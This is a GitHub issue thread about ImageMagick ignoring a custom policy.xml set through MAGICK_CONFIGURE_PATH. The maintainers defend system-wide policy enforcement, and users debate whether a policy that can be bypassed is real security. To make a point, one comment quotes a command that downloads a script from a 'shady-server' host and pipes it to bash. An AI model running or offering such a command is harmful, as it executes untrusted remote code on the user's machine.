New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Convert command always taking policy from global policy.xml file instead of custom path #1342
Comments
If ImageMagick is installed, only the policy in the system path is enforced, otherwise it would not be much of a security policy if it could easily be overridden. In certain cases, the user can set certain resource limits but only @ a lesser value that what the administrator sets (e.g. administrator sets a memory limit of 2GB, the user can set a limit of 1GB but not 3GB). ImageMagick has an uninstalled build option. With that build option, ImageMagick will allow the security policy to be overridden by any policy in the paths you mention in your post. |
Got it. Thanks @urban-warrior. |
In https://github.com/alphagov/notifications-template-preview/pull/467 we added a new policy.xml file for ImageMagick that allow PDFs to be read and written then tried to ensure the new file was used by setting the `MAGICK_CONFIGURE_PATH` environment variable. The original policy.xml file was still being picked up, so this didn't work. It's not clear from the docs, but it seems like if ImageMagick is installed, not built, you can't overwrite the system policy.xml and `MAGICK_CONFIGURE_PATH` doesn't work (ImageMagick/ImageMagick#1342). So this commit changes things to overwrite the ImageMagick policy.xml with our own, which does work.
I think this is fundamentally misguided. On a unixish system, the standard assumption is that a user may generally arbitrary code with that users permission. root does not configure specific permissions for bash, python or gcc or any of the myriad other programs which can be used to execute arbitrary code (including form unsafe sources, e.g. "wget http://shady-server/foo.sh -O - | bash"). If convert was installed with the setuid bit, then it would certainly have to enforce system-wide limits against the user, but last time I checked it is generally not. From my understanding, nothing prevents the user from:
A "security" policy which is trivial to circumvent is generally just an annoyance. This is why /usr/bin/passwd requests the old password for normal users first, but not for root (which could just write directly to /etc/shadow anyhow). I could see the point of having e.g. "/usr/bin/convert.safe" which could be whitelisted so it is allowed to be run by a web server, but having behavior as a default for local users feels like something Mordac the preventor of information services would come up with. A non-default -unsafe flag which prevents the uninformed user from accidentally running commands which might be harmful would be reasonable. (See rm's --no-preserve-root option.)
So I should lobby my distribution to either ship that version or lock down any methods by which a user could compile ImageMagick locally, I guess :-) |
The system administrator installs ImageMagick, they set the security policy per their requirements. The default security policy is to allow everything, so if there are any restrictions, the system administrator decided they were necessary per their security governance. If you want your own security policy, you can build an "uninstalled" version of ImageMagick and set your security policy to whatever you want. If users directly use delegates to bypass restrictions within ImageMagick (e.g. reading Postscript), that's okay. The policy prevents ImageMagick from contributing to possible nefarious behavior. We can't control what people do outside of ImageMagick. A good design principle is to have one way to do one thing. The security policy can prevent the uniformed user from accidentally running command which might be harmful, therefore, no special command line option or API call is required. |
This is a very poor security decision. If I can run commands on the system I should be able to override the system policy. In the best case users have root access and can change the policy for everyone on the system, then other apps and users could become exploitable because the default system policy is now too lax. This is, imho, the best scenario, as if they have root they are likely not affecting many users (probably only their own system or a single-purpose container). If that's not scary enough, then there's the other option of compiling your own ImageMagic to bypass this. This is what would most likely happen when users are not able to change the system policy because the system is properly administered. Then most likely the user-compiled version will never get updated or checked for vulnerabilities as it "just works". This can lead to potential additional risks as new vulnerabilities are uncovered. At the very least there should be a setting in the system policy to permit user overrides, and this should be enabled by default. To avoid changing existing behavior, an extra environment variable could be added to ignore the system policy or force the overrides when allowed by the system policy. P.S.: ImageMagick is an awesome piece of software and even with my skills I could never even dream of writing my own tools for the simple use cases I'm using it for (at least not in a timely manner), so kudos for the developers who've made life so much easier for the rest of us. My skill are geared toward systems designs and operators workflows, and from my perspective the way policies are handled is nonsense. I wouldn't argue about the way you decode and process images without a strongly supported case showing why you're wrong, likewise I believe you should listen to the comments from specialists on the other side of the food processing chain. I've just read @klenze's comment now and it reflects very well my thoughts too. A policy than cannot be enforced isn't a policy, it's only a false sense of security. |
To have a truly secure system, you must shut down all the computers, enclose the building in lead, and kill all the users. Short of that, secure systems are a compromise between security and convenience. ImageMagick is not designed to be a "secure" system-- instead its designed to function while being diligent to avoid common user errors or nefarious behaviors. We recognize that users can override any policy by simply installing their own version of ImageMagick. This is not uncommon. Safeguard, for example, secures Linux by only allowing certain approved usernames access to the Linux system. However, as the Linux user has sudo privileges, they can simply create their own user account and bypass Safeguard security. In that case, the company policy applies-- that is, once discovered you might be booted off the system. Here, the security policy extends not only to the policy set by the system administrator, but also the expected behaviors of trusted users. Note, the user can modify the system policy-- as long as its more restrictive. For example, the system policy sets the maximum memory to 4GB. You can set it to 2GB but not 8GB. And as we state on the ImageMagick security page, you can make ImageMagick safer by ...
In the end, ImageMagick is open source. Anyone can release a version with custom behaviors such as a policy to override the system policy, as you suggest. |
Prerequisites
Description
I use ImageMagick to convert pdf files to png, the ImageMagick version I am using (6.8.9-9) ships with a default
policy.xml
file that has no permissions for reading PDF files. I changed thatpolicy.xml
file and everything is working correctly, but I want to be able to have my ownpolicy.xml
file in a path of my choice that I can ship with my project, so I can deploy the project in a new server without having to configure the server's defaultpolicy.xml
file every time.According to ImageMagick v6 documentation the policy will be looked for in the following locations (I'm using the precompiled binary installation for Ubuntu 16.04):
So I set the env variable
MAGICK_CONFIGURE_PATH
to the path I put my policy file on. I would expect theconvert
command to find it there and use that policy to execute, but it seems to be using the one in/etc/ImageMagick-6
anyway. The policy file is correctly found when using the command to list the policy:But I get a not authorized error. If I change the policy file in
/etc/ImageMagick-6/policy.xml
to allow reading PDF files, my convert command works.I have also tried to place the policy file in the
<current directory>
from where I call the convert command, it also appears when I executeconvert -list policy
, but I still get the not authorized error unless I changed the global policy file.System Configuration
The text was updated successfully, but these errors were encountered: